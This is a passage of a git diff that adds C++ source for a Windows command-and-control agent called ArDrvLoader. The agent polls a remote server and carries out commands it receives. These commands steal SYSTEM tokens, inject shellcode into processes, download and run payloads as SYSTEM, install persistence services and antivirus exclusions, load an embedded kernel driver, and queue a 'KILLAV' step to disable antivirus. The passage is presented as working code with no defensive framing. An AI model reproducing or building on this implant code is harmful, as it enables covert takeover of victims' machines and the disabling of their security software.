FormatExclusionList(current); + + std::vector wanted = LoadExclusionList(); + + if (!wanted.empty()) + result += L"\r\nwanted:\r\n" + FormatExclusionList(wanted); + + return true; + } + + if (_wcsicmp(op.c_str(), L"EXCLUSION_ADD") == 0) + { + if (rest.empty()) + { + result = L"ERR_USAGE EXCLUSION_ADD "; + return false; + } + + std::vector paths = LoadExclusionList(); + bool exists = false; + + for (const auto& p : paths) + { + if (_wcsicmp(p.c_str(), rest.c_str()) == 0) + exists = true; + } + + if (!exists) + paths.push_back(rest); + + bool saved = SaveExclusionList(paths); + + std::wstring report; + bool applied = ApplyExclusions(paths, report); + + result = std::wstring(saved ? L"saved" : L"save-failed") + + (applied ? L" applied" : L" refused") + L"\r\n" + report; + + return applied; + } + + if (_wcsicmp(op.c_str(), L"EXCLUSION_APPLY") == 0) + { + std::vector paths = LoadExclusionList(); + + if (paths.empty()) + { + paths = DefaultExclusionPaths(); + SaveExclusionList(paths); + } + + std::wstring report; + bool applied = ApplyExclusions(paths, report); + + result = (applied ? L"applied" : L"refused") + std::wstring(L"\r\n") + report; + return applied; + } + + if (_wcsicmp(op.c_str(), L"STAGE_STATUS") == 0) + { + result = FormatStageStatus(); + return true; + } + + if (_wcsicmp(op.c_str(), L"STAGE_INJECT") == 0) + { + size_t pos = 0; + std::wstring token; + std::wstring preferred; + + if (ParseToken(rest, pos, token) && _wcsicmp(token.c_str(), L"--host") == 0) + ParseToken(rest, pos, preferred); + + HostInjectResult r = StageInject(L"", preferred, true); + result = FormatInjectResult(r); + + if (r.ok) + result += L" | " + FormatStageStatus(); + + return r.ok; + } + + if (_wcsicmp(op.c_str(), L"STAGE_RUN") == 0) + { + if (rest.empty()) + { + result = L"ERR_USAGE STAGE_RUN "; + return false; + } + + std::wstring response; + + if (!StageSend(L"RUN " + rest, response)) + { + result = L"ERR stage not reachable"; + return false; + } + + result = response; + return true; + } + + if (_wcsicmp(op.c_str(), L"STAGE_STOP") == 0) + { + std::wstring response; + + if (!StageSend(L"STOP", response)) + { + result = L"ERR stage not reachable"; + return false; + } + + result = response; + return true; + } + + if (_wcsicmp(op.c_str(), L"HOST_LIST") == 0) + { + result = FormatHostList(EnumerateSystemHosts()); + return true; + } + + if (_wcsicmp(op.c_str(), L"HOST_SPAWN") == 0 || + _wcsicmp(op.c_str(), L"HOST_SPAWN_USER") == 0) + { + const bool userSession = (_wcsicmp(op.c_str(), L"HOST_SPAWN_USER") == 0); + + size_t pos = 0; + std::wstring token; + std::wstring preferred; + + if (ParseToken(rest, pos, token) && _wcsicmp(token.c_str(), L"--host") == 0) + { + if (!ParseToken(rest, pos, preferred)) + { + result = L"ERR_USAGE HOST_SPAWN [--host ] [args]"; + return false; + } + } + else + { + pos = 0; + } + + std::wstring exe; + + if (!ParseToken(rest, pos, exe)) + { + result = userSession + ? L"ERR_USAGE HOST_SPAWN_USER [--host ] [args]" + : L"ERR_USAGE HOST_SPAWN [--host ] [args]"; + return false; + } + + std::wstring args = pos < rest.size() ? rest.substr(pos) : std::wstring(); + TrimW(args); + + std::wstring cmd = MakeCommandLineFromPath(exe, args); + + SpawnResult r = SpawnThroughHost(cmd, preferred, userSession); + + result = FormatSpawnResult(r); + return r.ok; + } + + if (_wcsicmp(op.c_str(), L"TOKEN_GET") == 0) + { + HANDLE tok = AcquireSystemToken(); + + if (tok) + { + CloseHandle(tok); + result = L"OK"; + return true; + } + + result = L"ERR TOKEN_GET"; + return false; + } + + if (_wcsicmp(op.c_str(), L"DRIVER_LOAD") == 0) + { + bool ok = EnsureDriverLoaded(); + result = ok ? L"OK" : L"ERR DRIVER_LOAD"; + return ok; + } + + if (_wcsicmp(op.c_str(), L"INJECT_FILE") == 0) + { + size_t pos = 0; + std::wstring pidStr; + std::wstring path; + + if (!ParseToken(rest, pos, pidStr) || !ParseToken(rest, pos, path)) + { + result = L"ERR_USAGE INJECT_FILE "; + return false; + } + + DWORD pid = (DWORD)wcstoul(pidStr.c_str(), nullptr, 10); + if (pid == 0) + { + result = L"ERR_USAGE INJECT_FILE "; + return false; + } + + std::vector shell; + + if (!ReadFileToMemory(path.c_str(), shell)) + { + result = L"ERR INJECT_FILE read"; + return false; + } + + HANDLE sys = AcquireSystemToken(); + if (sys) + ImpersonateLoggedOnUser(sys); + + bool ok = InjectShellcodeIntoExisting(pid, shell.data(), shell.size()); + + if (sys) + { + RevertToSelf(); + CloseHandle(sys); + } + + result = ok ? L"OK" : L"ERR INJECT_FILE"; + return ok; + } + + if (_wcsicmp(op.c_str(), L"INJECT_SUSPEND") == 0) + { + size_t pos = 0; + std::wstring exePath; + std::wstring shellPath; + + if (!ParseToken(rest, pos, exePath) || !ParseToken(rest, pos, shellPath)) + { + result = L"ERR_USAGE INJECT_SUSPEND "; + return false; + } + + std::vector shell; + + if (!ReadFileToMemory(shellPath.c_str(), shell)) + { + result = L"ERR INJECT_SUSPEND read"; + return false; + } + + HANDLE tok = AcquireSystemToken(); + if (!tok) + { + result = L"ERR INJECT_SUSPEND token"; + return false; + } + + NewProcInfo info{}; + + if (!CreateProcessSuspendedAsSystem(tok, exePath.c_str(), nullptr, false, &info)) + { + CloseHandle(tok); + result = L"ERR INJECT_SUSPEND create"; + return false; + } + + bool ok = InjectShellcodeAndResume(info, shell.data(), shell.size()); + CloseHandle(tok); + + result = ok ? L"OK" : L"ERR INJECT_SUSPEND"; + return ok; + } + + if (_wcsicmp(op.c_str(), L"INSTALL_GUARD_SERVICES") == 0) + { + wchar_t module[MAX_PATH]{}; + DWORD n = GetModuleFileNameW(nullptr, module, _countof(module)); + + if (n == 0 || n >= _countof(module)) + { + result = L"ERR INSTALL_GUARD_SERVICES path"; + return false; + } + + std::wstring full = L"\""; + full += module; + full += L"\" -install-guard-services"; + + if (!rest.empty()) + { + full += L" "; + full += rest; + } + + bool ok = RunCommandLineCurrent(full); + result = ok ? L"OK" : L"ERR INSTALL_GUARD_SERVICES"; + return ok; + } + + if (_wcsicmp(op.c_str(), L"DOWNLOAD") == 0) + { + size_t pos = 0; + std::wstring url; + std::wstring outPath; + std::wstring sha; + + if (!ParseToken(rest, pos, url) || !ParseToken(rest, pos, outPath)) + { + result = L"ERR_USAGE DOWNLOAD [sha256]"; + return false; + } + + ParseToken(rest, pos, sha); + + std::wstring error; + + if (!DownloadUrlToFile(url, outPath, sha, error)) + { + result = L"ERR DOWNLOAD " + error; + return false; + } + + std::wstring saved = TrimQuotes(outPath); + std::wstring hash = Sha256OfFile(saved); + + result = L"OK " + saved + (hash.empty() ? L"" : L" sha256=" + hash); + return true; + } + + if (_wcsicmp(op.c_str(), L"DEPLOY") == 0 || + _wcsicmp(op.c_str(), L"DEPLOY_SYSTEM") == 0) + { + const bool asSystem = (_wcsicmp(op.c_str(), L"DEPLOY_SYSTEM") == 0); + + size_t pos = 0; + std::wstring url; + + if (!ParseToken(rest, pos, url)) + { + result = asSystem + ? L"ERR_USAGE DEPLOY_SYSTEM [args]" + : L"ERR_USAGE DEPLOY [args]"; + return false; + } + + std::wstring args = rest.substr(pos); + TrimW(args); + + std::wstring target = GetPayloadDir() + L"\\" + FileNameFromUrl(url); + std::wstring error; + + if (!DownloadUrlToFile(url, target, L"", error)) + { + result = L"ERR DEPLOY " + error; + return false; + } + + bool ok = asSystem + ? RunFilePathSystem(target, args) + : RunFilePathCurrent(target, args); + + result = ok + ? (asSystem ? L"OK SYSTEM " : L"OK ") + target + : (asSystem ? L"ERR DEPLOY_SYSTEM " : L"ERR DEPLOY ") + target; + + return ok; + } + + if (_wcsicmp(op.c_str(), L"INSTALL_CLOUD_SERVICE") == 0) + { + if (rest.empty()) + { + result = L"ERR_USAGE INSTALL_CLOUD_SERVICE "; + return false; + } + + wchar_t module[MAX_PATH]{}; + DWORD n = GetModuleFileNameW(nullptr, module, _countof(module)); + + if (n == 0 || n >= _countof(module)) + { + result = L"ERR INSTALL_CLOUD_SERVICE path"; + return false; + } + + std::wstring bin = L"\""; + bin += module; + bin += L"\" -cloud-service --service-name \""; + bin += rest; + bin += L"\""; + + if (!g_activeCloudConfig.agent.empty()) + { + bin += L" --agent \""; + bin += g_activeCloudConfig.agent; + bin += L"\""; + } + + if (!g_activeCloudConfig.url.empty()) + { + bin += L" --url \""; + bin += g_activeCloudConfig.url; + bin += L"\""; + } + + if (!g_activeCloudConfig.secret.empty()) + { + bin += L" --secret \""; + bin += g_activeCloudConfig.secret; + bin += L"\""; + } + + bin += L" --interval "; + bin += std::to_wstring(g_activeCloudConfig.intervalMs); + + if (g_allowVm) + bin += L" --allow-vm"; + + bin += L" --elevated"; + + bool ok = EnsureWin32Service(rest.c_str(), bin.c_str(), true); + result = ok ? L"OK" : L"ERR INSTALL_CLOUD_SERVICE"; + return ok; + } + + if (_wcsicmp(op.c_str(), L"INSTALL_SERVICE") == 0 || + _wcsicmp(op.c_str(), L"START_SERVICE") == 0) + { + const bool startNow = (_wcsicmp(op.c_str(), L"START_SERVICE") == 0); + + size_t pos = 0; + std::wstring name; + std::wstring path; + + if (!ParseToken(rest, pos, name)) + { + result = startNow + ? L"ERR_USAGE START_SERVICE [binary-path]" + : L"ERR_USAGE INSTALL_SERVICE [binary-path]"; + return false; + } + + if (!ParseToken(rest, pos, path)) + { + if (startNow) + { + bool ok = StartServiceByName(name); + result = ok ? L"OK" : L"ERR START_SERVICE"; + return ok; + } + + wchar_t module[MAX_PATH]{}; + DWORD n = GetModuleFileNameW(nullptr, module, _countof(module)); + + if (n == 0 || n >= _countof(module)) + { + result = L"ERR INSTALL_SERVICE path"; + return false; + } + + path = module; + } + + bool ok = EnsureWin32Service(name.c_str(), path.c_str(), startNow); + result = ok ? L"OK" : L"ERR SERVICE"; + return ok; + } + + if (_wcsicmp(op.c_str(), L"SERVICE_STATUS") == 0) + { + if (rest.empty()) + { + result = L"ERR_USAGE SERVICE_STATUS "; + return false; + } + + result = IsServiceRunning(rest.c_str()) ? L"RUNNING" : L"STOPPED"; + return true; + } + + if (_wcsicmp(op.c_str(), L"STOP") == 0) + { + stop = true; + result = L"OK STOP"; + return true; + } + + result = L"ERR UNKNOWN"; + return false; +} + +static void SetCurrentDirectoryToModuleDir() +{ + wchar_t path[MAX_PATH]{}; + DWORD len = GetModuleFileNameW(nullptr, path, _countof(path)); + + if (len == 0 || len >= _countof(path)) + return; + + std::wstring p = path; + + size_t pos = p.find_last_of(L"\\"); + if (pos != std::wstring::npos) + p = p.substr(0, pos); + + SetCurrentDirectoryW(p.c_str()); +} + +static bool StartupActions(const CloudConfig& cfg) +{ + SetCurrentDirectoryToModuleDir(); + + if (cfg.startDriver) + { + bool ok = EnsureDriverLoaded(); + Log(L"[cloud] startup driver loaded=%d", ok ? 1 : 0); + } + + if (!cfg.startupFile.empty()) + { + std::wstring path = TrimQuotes(cfg.startupFile); + + if (cfg.startupAsUser) + { + std::wstring cmd = L"cmd.exe /C start \"\" "; + cmd += QuotePathIfNeeded(path); + + if (!cfg.startupArgs.empty()) + { + cmd += L" "; + cmd += cfg.startupArgs; + } + + RunCommandLineAsUser(cmd); + } + else + { + RunShellExecuteCurrent(path, cfg.startupArgs); + } + } + + if (!cfg.startupCommand.empty()) + { + std::wstring result; + bool stop = false; + + ProcessCommand(cfg.startupCommand, result, stop); + + if (stop) + return false; + } + + return true; +} + +static DWORD Jitter(DWORD baseMs) +{ + if (baseMs < 1000) + baseMs = 1000; + + LARGE_INTEGER li{}; + QueryPerformanceCounter(&li); + + DWORD seed = (DWORD)(li.LowPart ^ (DWORD)GetCurrentProcessId()); + + return baseMs / 2 + (seed % (baseMs + 1)); +} + +static bool SleepWithStop(DWORD ms, HANDLE stopEvent) +{ + if (!stopEvent) + { + Sleep(ms); + return false; + } + + return WaitForSingleObject(stopEvent, ms) == WAIT_OBJECT_0; +} + +// Recently executed command ids. The server requeues commands that were claimed +// but never acknowledged (180s reaper), so a slow command could otherwise run +// twice. A short memory of what we already did makes the retry a no-op. +static std::deque g_executed; +static const size_t kExecutedMemory = 512; + +static bool AlreadyExecuted(const std::wstring& id) +{ + return std::find(g_executed.begin(), g_executed.end(), id) != g_executed.end(); +} + +static void RememberExecuted(const std::wstring& id) +{ + if (id.empty()) + return; + + g_executed.push_back(id); + + while (g_executed.size() > kExecutedMemory) + g_executed.pop_front(); +} + +static void RunLoop(const CloudConfig& cfg, HANDLE stopEvent = nullptr) +{ + DWORD backoffMs = cfg.intervalMs < 1000 ? 1000 : cfg.intervalMs; + + while (true) + { + if (stopEvent && WaitForSingleObject(stopEvent, 0) == WAIT_OBJECT_0) + break; + + CloudCommand cmd; + + if (PollCommand(cfg, cmd)) + { + backoffMs = cfg.intervalMs < 1000 ? 1000 : cfg.intervalMs; + + // Re-delivery of something we already ran: acknowledge and move on. + if (!cmd.id.empty() && AlreadyExecuted(cmd.id)) + { + AckCommand(cfg, cmd.id, L"OK (dup, not re-executed)"); + + if (SleepWithStop(250, stopEvent)) + break; + + continue; + } + + std::wstring result; + bool stop = false; + + ProcessCommand(cmd.text, result, stop); + RememberExecuted(cmd.id); + AckCommand(cfg, cmd.id, result); + + if (stop) + break; + + if (SleepWithStop(250, stopEvent)) + break; + } + else + { + // Worker unreachable or queue empty: escalate the wait up to 15s. + if (SleepWithStop(Jitter(backoffMs), stopEvent)) + break; + + if (backoffMs < 15000) + { + backoffMs *= 2; + + if (backoffMs > 15000) + backoffMs = 15000; + } + } + } +} + +static bool ParseConfig(int argc, wchar_t** argv, CloudConfig& cfg) +{ + std::wstring agent; + std::wstring url; + std::wstring secret; + std::wstring intervalS; + std::wstring startupFile; + std::wstring startupArgs; + std::wstring startupCommand; + + bool haveStartDriver = false; + bool startDriver = true; + bool startupAsUser = false; + + for (int i = 1; i < argc; ++i) + { + std::wstring a = argv[i]; + + if (a == L"--elevated") + { + cfg.elevatedRequested = true; + continue; + } + + if (i + 1 < argc && a == L"--service-name") + { + g_serviceName = argv[++i]; + continue; + } + + if (a == L"--start-driver") + { + startDriver = true; + haveStartDriver = true; + continue; + } + + if (a == L"--no-start-driver") + { + startDriver = false; + haveStartDriver = true; + continue; + } + + if (a == L"--startup-user") + { + startupAsUser = true; + continue; + } + + if (i + 1 < argc && a == L"--agent") + { + agent = argv[++i]; + continue; + } + + if (i + 1 < argc && a == L"--url") + { + url = argv[++i]; + continue; + } + + if (i + 1 < argc && a == L"--secret") + { + secret = argv[++i]; + continue; + } + + if (i + 1 < argc && a == L"--interval") + { + intervalS = argv[++i]; + continue; + } + + if (i + 1 < argc && a == L"--startup-file") + { + startupFile = argv[++i]; + continue; + } + + if (i + 1 < argc && a == L"--startup-args") + { + startupArgs = argv[++i]; + continue; + } + + if (i + 1 < argc && a == L"--startup-command") + { + startupCommand = argv[++i]; + continue; + } + + if (a.empty() || a[0] == L'-') + continue; + + if (agent.empty()) + agent = a; + else if (url.empty()) + url = a; + else if (secret.empty()) + secret = a; + else if (intervalS.empty()) + intervalS = a; + } + + cfg.agent = agent.empty() ? ConfigValue(L"CA_AGENT_ID", L"AgentId", L"") : agent; + if (cfg.agent.empty()) + cfg.agent = L"default"; + + cfg.url = url.empty() ? ConfigValue(L"CA_URL", L"Url", L"") : url; + + if (!cfg.url.empty() && cfg.url.find(L"://") == std::wstring::npos) + cfg.url = L"https://" + cfg.url; + + cfg.secret = secret.empty() ? ConfigValue(L"CA_SECRET", L"Secret", L"") : secret; + + // Per-agent key issued by enrollment, stored next to the host tracking file. + if (cfg.secret.empty()) + cfg.secret = ReadAgentKeyFile(cfg.agent); + + std::wstring interval = intervalS.empty() + ? ConfigValue(L"CA_INTERVAL", L"IntervalMs", L"") + : intervalS; + + DWORD v = (DWORD)wcstoul(interval.c_str(), nullptr, 10); + cfg.intervalMs = (v >= 1000) ? v : 15000; + + if (!haveStartDriver) + startDriver = ConfigBool(L"CA_START_DRIVER", L"StartDriver", true); + + cfg.startDriver = startDriver; + + cfg.startupFile = startupFile.empty() + ? ConfigValue(L"CA_STARTUP_FILE", L"StartupFile", L"") + : startupFile; + + cfg.startupArgs = startupArgs.empty() + ? ConfigValue(L"CA_STARTUP_ARGS", L"StartupArgs", L"") + : startupArgs; + + cfg.startupCommand = startupCommand.empty() + ? ConfigValue(L"CA_STARTUP_COMMAND", L"StartupCommand", L"") + : startupCommand; + + if (!startupAsUser) + startupAsUser = ConfigBool(L"CA_STARTUP_USER", L"StartupUser", false); + + cfg.startupAsUser = startupAsUser; + + return !cfg.url.empty() && !cfg.secret.empty(); +} + +static VOID WINAPI CloudServiceMain(DWORD argc, LPWSTR* argv) +{ + (void)argc; + (void)argv; + + g_serviceStatusHandle = RegisterServiceCtrlHandlerExW( + g_serviceName.c_str(), + ServiceCtrlHandler, + nullptr); + + if (!g_serviceStatusHandle) + return; + + g_serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; + g_serviceStatus.dwCurrentState = SERVICE_START_PENDING; + g_serviceStatus.dwControlsAccepted = 0; + g_serviceStatus.dwWin32ExitCode = NO_ERROR; + g_serviceStatus.dwWaitHint = 5000; + + g_serviceStopEvent = CreateEventW(nullptr, TRUE, FALSE, nullptr); + if (!g_serviceStopEvent) + { + ReportServiceStatus(SERVICE_STOPPED, GetLastError()); + return; + } + + if (!g_serviceConfigValid) + { + Log(L"[-] Cloud service: invalid config"); + CloseHandle(g_serviceStopEvent); + g_serviceStopEvent = nullptr; + ReportServiceStatus(SERVICE_STOPPED, ERROR_INVALID_PARAMETER); + return; + } + + ReportServiceStatus(SERVICE_RUNNING); + + Log(L"[cloud] service start agent=%s interval=%lu", + g_serviceConfig.agent.c_str(), + g_serviceConfig.intervalMs); + + if (StartupActions(g_serviceConfig)) + RunLoop(g_serviceConfig, g_serviceStopEvent); + + ReportServiceStatus(SERVICE_STOP_PENDING, NO_ERROR, 5000); + + if (g_serviceStopEvent) + { + CloseHandle(g_serviceStopEvent); + g_serviceStopEvent = nullptr; + } + + Log(L"[cloud] service stopped"); + ReportServiceStatus(SERVICE_STOPPED); +} + +int RunEnroll(int argc, wchar_t** argv) +{ + std::wstring url; + std::wstring agent; + std::wstring enrollSecret; + + for (int i = 2; i < argc; ++i) + { + std::wstring a = argv[i]; + + if (a == L"--url" && i + 1 < argc) { url = argv[++i]; continue; } + if (a == L"--agent" && i + 1 < argc) { agent = argv[++i]; continue; } + if (a == L"--enroll-secret" && i + 1 < argc) { enrollSecret = argv[++i]; continue; } + } + + if (url.empty() || agent.empty() || enrollSecret.empty()) + { + wprintf(L"Usage: ArDrvLoader.exe -enroll --url --agent --enroll-secret [--allow-vm]\n"); + return 1; + } + + if (url.find(L"://") == std::wstring::npos) + url = L"https://" + url; + + while (!url.empty() && url.back() == L'/') + url.pop_back(); + + std::string body = "{\"agent\":\"" + Utf8(agent) + "\"}"; + std::string response; + DWORD status = 0; + + std::wstring headers = L"X-Enroll-Secret: " + enrollSecret + L"\r\n"; + + if (!HttpRequest( + L"POST", + url + L"/api/enroll", + L"api/enroll", + nullptr, + body, + response, + &status, + headers)) + { + wprintf(L"ERR cannot reach %s\n", url.c_str()); + return 1; + } + + if (status != 200) + { + wprintf(L"ERR enroll refused (http %lu): %s\n", status, Utf16(response).c_str()); + return 1; + } + + std::wstring secret = JsonStringField(response, "secret"); + + if (secret.empty()) + { + wprintf(L"ERR no secret in response: %s\n", Utf16(response).c_str()); + return 1; + } + + if (!WriteAgentKeyFile(agent, secret)) + { + wprintf(L"ERR cannot write %s : %lu\n", AgentKeyPath(agent).c_str(), GetLastError()); + return 1; + } + + wprintf(L"OK agent=%s secret stored in %s\n", agent.c_str(), AgentKeyPath(agent).c_str()); + return 0; +} + +int RunBootstrap(int argc, wchar_t** argv) +{ + std::wstring url; + std::wstring secret; + std::wstring operatorKey; + std::wstring agent; + std::wstring target = L"C:\\Windows\\System32\\notepad.exe"; + bool killAv = true; + + for (int i = 2; i < argc; ++i) + { + std::wstring a = argv[i]; + + if (a == L"--no-killav") { killAv = false; continue; } + if (a == L"--url" && i + 1 < argc) { url = argv[++i]; continue; } + if (a == L"--secret" && i + 1 < argc) { secret = argv[++i]; continue; } + if (a == L"--operator-key" && i + 1 < argc) { operatorKey = argv[++i]; continue; } + if (a == L"--agent" && i + 1 < argc) { agent = argv[++i]; continue; } + if (a == L"--target" && i + 1 < argc) { target = argv[++i]; continue; } + } + + if (url.empty()) + url = ARDRV_DEFAULT_URL; + + if (operatorKey.empty()) + operatorKey = ARDRV_DEFAULT_OPERATOR_KEY; + + if (secret.empty()) + secret = ARDRV_DEFAULT_SECRET; + + if (agent.empty()) + agent = ARDRV_DEFAULT_AGENT; + + if (agent.empty()) + { + wchar_t computer[64]{}; + DWORD len = _countof(computer); + + if (GetComputerNameW(computer, &len) && len > 0) + agent = computer; + else + agent = L"agent"; + } + + if (url.empty() || secret.empty() || operatorKey.empty()) + { + wprintf(L"Usage: ArDrvLoader.exe -bootstrap --url --operator-key [--secret ] [--agent ] [--target ] [--no-killav]\n"); + return 1; + } + + if (url.find(L"://") == std::wstring::npos) + url = L"https://" + url; + + while (!url.empty() && url.back() == L'/') + url.pop_back(); + + // 1. install: services + driver + cloud agent service, single elevated pass. + std::vector install = + { + L"ArDrvLoader.exe", + L"-install-guard-services", + L"--target", target, + L"--allow-vm", + L"--cloud-url", url, + L"--cloud-secret", secret, + L"--cloud-agent", agent, + L"--cloud-service", L"CloudTest" + }; + + std::vector installArgv; + + for (auto& s : install) + installArgv.push_back(const_cast(s.c_str())); + + wprintf(L"[bootstrap] installing services and agent %s\n", agent.c_str()); + + int rc = InstallGuardServices((int)installArgv.size(), installArgv.data()); + + if (rc != 0) + { + wprintf(L"[bootstrap] install failed (%d)\n", rc); + return rc; + } + + // 2. wait for the agent to register. + std::wstring headers = L"X-Operator-Key: " + operatorKey + L"\r\n"; + std::wstring marker = L"\"id\":\"" + agent + L"\""; + + bool online = false; + + for (int i = 0; i < 60; ++i) + { + std::string response; + DWORD status = 0; + + if (HttpRequest(L"GET", url + L"/api/agents", L"api/agents", nullptr, std::string(), response, &status, headers) && + status == 200 && + Utf16(response).find(marker) != std::wstring::npos) + { + online = true; + break; + } + + Sleep(1000); + } + + if (!online) + { + wprintf(L"[bootstrap] agent did not register within 60s\n"); + return 2; + } + + wprintf(L"[bootstrap] agent online\n"); + + if (!killAv) + { + wprintf(L"[bootstrap] AV sweep skipped\n"); + return 0; + } + + // 3. queue KILLAV through the server so it shows up as a command. + std::string body = "{\"agent\":\"" + Utf8(agent) + "\",\"text\":\"KILLAV\"}"; + std::string response; + DWORD status = 0; + + if (!HttpRequest(L"POST", url + L"/api/enqueue", L"api/enqueue", nullptr, body, response, &status, headers)) + { + wprintf(L"[bootstrap] enqueue failed\n"); + return 3; + } + + std::wstring id = JsonStringField(response, "id"); + + if (id.empty()) + { + wprintf(L"[bootstrap] enqueue rejected: %s\n", Utf16(response).c_str()); + return 3; + } + + wprintf(L"[bootstrap] KILLAV queued (%s), waiting\n", id.c_str()); + + // 4. wait for the result so the operator sees the outcome immediately. + for (int i = 0; i < 120; ++i) + { + Sleep(1000); + + std::string poll; + DWORD pollStatus = 0; + + if (!HttpRequest(L"GET", url + L"/api/command/" + id, L"api/command", nullptr, std::string(), poll, &pollStatus, headers)) + continue; + + std::wstring wide = Utf16(poll); + + if (wide.find(L"\"state\":\"done\"") == std::wstring::npos && + wide.find(L"\"state\":\"failed\"") == std::wstring::npos) + { + continue; + } + + std::wstring result = JsonStringField(poll, "result"); + + wprintf(L"[bootstrap] KILLAV result:\n%s\n", result.empty() ? L"(no output)" : result.c_str()); + return 0; + } + + wprintf(L"[bootstrap] KILLAV still queued after 120s, check the panel\n"); + return 0; +} + +int RunCloudService(int argc, wchar_t** argv) +{ + CloudConfig cfg; + + g_allowVm = VmOverrideRequested(argc, argv); + + g_serviceConfigValid = ParseConfig(argc, argv, cfg); + g_serviceConfig = cfg; + + if (g_serviceName.empty()) + g_serviceName = L"ArDrvAgent"; + + SERVICE_TABLE_ENTRYW table[] = + { + { const_cast(g_serviceName.c_str()), CloudServiceMain }, + { nullptr, nullptr } + }; + + if (!StartServiceCtrlDispatcherW(table)) + { + DWORD err = GetLastError(); + + if (err == ERROR_FAILED_SERVICE_CONTROLLER_CONNECT) + { + wprintf(L"Cloud service must be started by the Service Control Manager.\n"); + wprintf(L"Install it with: ArDrvLoader.exe -cloud-service --service-name \n"); + } + + return (int)err; + } + + return 0; +} + +int RunCloudAgent(int argc, wchar_t** argv) +{ + CloudConfig cfg; + + g_allowVm = VmOverrideRequested(argc, argv); + + if (!ParseConfig(argc, argv, cfg)) + { + wprintf(L"Usage:\n"); + wprintf(L" ArDrvLoader.exe -cloud [options] [agent] [interval_ms]\n"); + wprintf(L"\n"); + wprintf(L"Named options:\n"); + wprintf(L" --elevated force no UAC loop\n"); + wprintf(L" --agent agent id\n"); + wprintf(L" --url worker url\n"); + wprintf(L" --secret secret\n"); + wprintf(L" --interval poll interval\n"); + wprintf(L" --start-driver load driver at startup\n"); + wprintf(L" --no-start-driver do not load driver at startup\n"); + wprintf(L" --startup-file run file at startup\n"); + wprintf(L" --startup-args startup file args\n"); + wprintf(L" --startup-command run command at startup\n"); + wprintf(L" --startup-user startup file in user session\n"); + wprintf(L" --allow-vm run inside a virtual machine\n"); + wprintf(L"\n"); + wprintf(L"Environment / registry names:\n"); + wprintf(L" CA_AGENT_ID / AgentId\n"); + wprintf(L" CA_URL / Url\n"); + wprintf(L" CA_SECRET / Secret\n"); + wprintf(L" CA_INTERVAL / IntervalMs\n"); + wprintf(L" CA_START_DRIVER / StartDriver\n"); + wprintf(L" CA_STARTUP_FILE / StartupFile\n"); + wprintf(L" CA_STARTUP_ARGS / StartupArgs\n"); + wprintf(L" CA_STARTUP_COMMAND / StartupCommand\n"); + wprintf(L" CA_STARTUP_USER / StartupUser\n"); + + return 1; + } + + if (!EnsureAdminIfNeeded(argc, argv, cfg)) + { + Log(L"[-] Cloud mode: elevation failed"); + return 2; + } + + g_activeCloudConfig = cfg; + + Log(L"[cloud] starting agent=%s interval=%lu", cfg.agent.c_str(), cfg.intervalMs); + + if (!StartupActions(cfg)) + { + Log(L"[cloud] startup command requested stop"); + return 0; + } + + RunLoop(cfg); + + Log(L"[cloud] stopped"); + return 0; +} + + diff --git a/CloudAgent.h b/CloudAgent.h new file mode 100644 index 0000000..ca900d6 --- /dev/null +++ b/CloudAgent.h @@ -0,0 +1,20 @@ +#pragma once + +#include + +// Cloud C2 mode. Call as: +// ArDrvLoader.exe -cloud [options] [agent] [interval_ms] +int RunCloudAgent(int argc, wchar_t** argv); + +// Windows service entry point. Install with: +// sc create ArDrvAgent binPath= "\"C:\path\ArDrvLoader.exe\" -cloud-service --service-name ArDrvAgent" +int RunCloudService(int argc, wchar_t** argv); + +// One-time enrollment: fetches this agent's own key from the worker and stores +// it next to the host tracking file. +// ArDrvLoader.exe -enroll --url --agent --enroll-secret +int RunEnroll(int argc, wchar_t** argv); + +// Client-side bring-up from a single exe: install, wait for the agent, queue KILLAV. +// ArDrvLoader.exe -bootstrap --url --operator-key [--secret ] [--agent ] +int RunBootstrap(int argc, wchar_t** argv); diff --git a/Common.h b/Common.h new file mode 100644 index 0000000..00bb88c --- /dev/null +++ b/Common.h @@ -0,0 +1,21 @@ +#pragma once + +#ifndef WIN32_LEAN_AND_MEAN +#define WIN32_LEAN_AND_MEAN +#endif + +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +#pragma comment(lib, "advapi32.lib") +#pragma comment(lib, "Userenv.lib") +#pragma comment(lib, "Wtsapi32.lib") diff --git a/DriverClient.cpp b/DriverClient.cpp new file mode 100644 index 0000000..67e8233 --- /dev/null +++ b/DriverClient.cpp @@ -0,0 +1,377 @@ +#include "Common.h" +#include "DriverClient.h" +#include "TokenUtils.h" +#include "Logger.h" +#include "resource.h" + +static HANDLE g_hDriver = INVALID_HANDLE_VALUE; + +#define DRIVER_NAME L"\\\\.\\ArDrv" +#define SERVICE_NAME L"ArDrv" +#define DRIVER_PATH L"C:\\Windows\\System32\\drivers\\ardrv.sys" + +#define IOCTL_TERM 0x2420031 +#define IOCTL_ESC 0x2420035 + +// Writes the driver image that was packed into this executable via RCDATA. +// Returns false when no image is embedded or when writing fails. +DWORD EmbeddedDriverSize() +{ + HRSRC res = FindResourceW(nullptr, MAKEINTRESOURCEW(IDR_ARDRV_SYS), RT_RCDATA); + return res ? SizeofResource(nullptr, res) : 0; +} + +bool WriteEmbeddedDriverTo(const wchar_t* destPath) +{ + HRSRC res = FindResourceW(nullptr, MAKEINTRESOURCEW(IDR_ARDRV_SYS), RT_RCDATA); + + if (!res) + { + Log(L"[-] No embedded driver image in this build"); + return false; + } + + DWORD size = SizeofResource(nullptr, res); + + if (size == 0) + { + Log(L"[-] Embedded driver resource is empty"); + return false; + } + + HGLOBAL loaded = LoadResource(nullptr, res); + + if (!loaded) + { + Log(L"[-] LoadResource failed: %lu", GetLastError()); + return false; + } + + const void* data = LockResource(loaded); + + if (!data) + { + Log(L"[-] LockResource failed: %lu", GetLastError()); + return false; + } + + DWORD attr = GetFileAttributesW(destPath); + + if (attr != INVALID_FILE_ATTRIBUTES) + { + if (attr & FILE_ATTRIBUTE_READONLY) + SetFileAttributesW(destPath, attr & ~FILE_ATTRIBUTE_READONLY); + + DeleteFileW(destPath); + } + + HANDLE file = CreateFileW( + destPath, + GENERIC_WRITE, + 0, + nullptr, + CREATE_ALWAYS, + FILE_ATTRIBUTE_NORMAL, + nullptr); + + if (file == INVALID_HANDLE_VALUE) + { + Log(L"[-] Cannot create %s: %lu", destPath, GetLastError()); + return false; + } + + DWORD written = 0; + BOOL ok = WriteFile(file, data, size, &written, nullptr); + DWORD err = GetLastError(); + + CloseHandle(file); + + if (!ok || written != size) + { + Log(L"[-] WriteFile %s failed: %lu", 